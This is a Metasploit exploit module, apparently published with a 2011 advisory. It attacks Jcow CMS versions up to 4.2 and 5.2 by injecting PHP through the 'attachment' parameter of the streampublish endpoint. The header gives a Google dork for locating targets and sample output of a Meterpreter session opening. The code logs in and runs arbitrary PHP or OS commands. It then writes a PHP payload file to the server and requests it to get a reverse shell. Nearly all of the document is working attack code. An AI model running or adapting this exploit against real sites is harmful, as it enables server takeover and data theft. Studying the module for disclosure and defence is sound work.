# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution
# Google Dork: "intext: Powered by Jcow"
# Date: 2011-08-26
# Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group>
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 <= , 5.x: 5.2 <=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution

#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'JCow CMS Remote Command 
Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the JCow Social Networking CMS.
					In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
					authenticated members can trigger php code execution via
					"attachment" parameter.
			},
			'Author'         => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'URL', 'http://www.jcow.net/' ],
					[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'BadChars'    => "\#",
					'Space'       => 4000,
					'Compat'      =>{'ConnectionType' => 'find'},
					'Keys' => ['php']			
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 26 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "JCow directory path", "/"]),
				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
				OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
				OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
				OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
				OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
			], self.class)
	end

	def check
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
				ver = $1
				print_status("Target Jcow version is #{ver}")

				vers = ver.split('.').map { |v| v.to_i }

				if (vers[0] == 5) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 
				elsif (vers[0] == 4) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 			
				elsif (vers[0] < 4) 
						return Exploit::CheckCode::Vulnerable 			
				else
					return Exploit::CheckCode::Safe
				end
		end
		print_error("Unable to determine exploitability. Go 
Exploiting.")
	end
	
	def exploit
		
		uri_base    = ''
		uri_base << datastore['URI']
		uri_base << '/' if uri_base[-1,1] != '/'

	
		cookie = datastore['COOKIE']		
		if (cookie == nil)
			print_status("Trying to login as 
#{datastore['USERNAME']}")
			cookie = get_login_cookie(uri_base)
			if (not cookie)
				raise RuntimeError, 'Unable to login!'
			end
			print_status("Logged in successfully (cookie: 
#{cookie})")
		else
			print_status("Using authenticated cookie:  
#{cookie}")
		end
		
		if (datastore['PHP'])
			print_status("Executing PHP Code: 
#{datastore['PHP']}")
			run_code(uri_base,cookie,datastore['PHP'])
		end
		
		if (datastore['CMD'])
			print_status("Executing CMD: 
#{datastore['CMD']}")
			run_code(uri_base,cookie, datastore['CMD'],'os')
		end
		
		if (datastore['SHELL'])
			print_status("Trying to pwn a shell")
			get_reverse_shell(uri_base,cookie)
		end

	end


	def get_login_cookie(uri_base)

		cookie = nil

		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base +
'?p=member/loginpost',
				'vars_post' =>
					{
						'username' => 
datastore['USERNAME'],
						'password' => 
datastore['PASSWORD']
					}
			})
		if (not res or res.code != 302)
			print_error("Failed to login")
			if (res.body =~ /<script type="text\/javascript" 
src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
				print_error("Recaptcha 
Enabled\r\nProvide Authenticated Cookie")
			end
			return nil
		end

        if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)			
            cookie = $1
		else
			print_error("Unable to get authenticated 
cookie")
			return
        end
        
        cookie
	end

	def run_code(uri_base, cookie, code, mode='php')

		
		cmd = nil
		
		if mode != 'php'
			cmd = 'error_reporting(0);print+`' << 
Rex::Text.to_hex("#{code}",prefix = "%") << '`'
		else
			cmd = 'error_reporting(0);eval(' <<  
code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
		end
		
		
		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + 
'?p=streampublish',
				'data' 		=> data , 
				
				'headers'   =>
					{
							 
							  'Cookie' => 
"PHPSESSID=#{cookie}"
							  
					},
			})	
		if (res)
			if (res.body.to_s.length > 0)		
				is_session_expired(res.body.to_s)	
				print_status("#{mode.upcase} Command 
Output from the server:")
				print("\n" + res.body.to_s + "\n\n")
			else
				print_error("No data returned from the 
server")
			end
		else
			print_error("Connection Timeout from the 
server")
		end
		
	end
	
	def is_session_expired(pg)
		if (pg =~ /please login first/)
			raise RuntimeError, "Your Login has expired"
		end
	end
	
	def get_reverse_shell(uri_base,cookie)
	
		cmd_php = '<?php ' << payload.encoded << ' ?>'

		shell_file =  'files/' + rand_text_alphanumeric(6) << '.php'
		
		shell_url = uri_base + shell_file
		
		print_status("Uploading the payload: " << shell_url )
		
		encoded_shell_file = shell_file.unpack("C*").collect{|x| 
"chr(#{x})"}.join('.')
		
		encoded_payload = payload.encoded

		cmd = "file_put_contents(#{encoded_shell_file}, 
$_SERVER['HTTP_X_CMD'])"

		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base +
'?p=streampublish',
				'data' 		=> data , 
				
				'headers'   =>
					{
							  'X-CMD' => 
cmd_php,
							  
							  'Cookie' => 
"PHPSESSID=#{cookie}"
							  
					},
			})	

		if (res)
			if (res.code.to_i > 200)
				print_error("Fail to upload : 
#{res.code} #{res.body[0,500].inspect}...")
				return
			elsif (res.code == 200)	
				is_session_expired(res.body.to_s)	
			end			
		end		
		
		
		print_status("Uploaded successfully")
		print_status("Getting the shell")

		res = send_request_raw(
					{
					    'global' => true,
						'uri'    => uri_base + shell_file
						
					})
							

		handler
	
	end

end


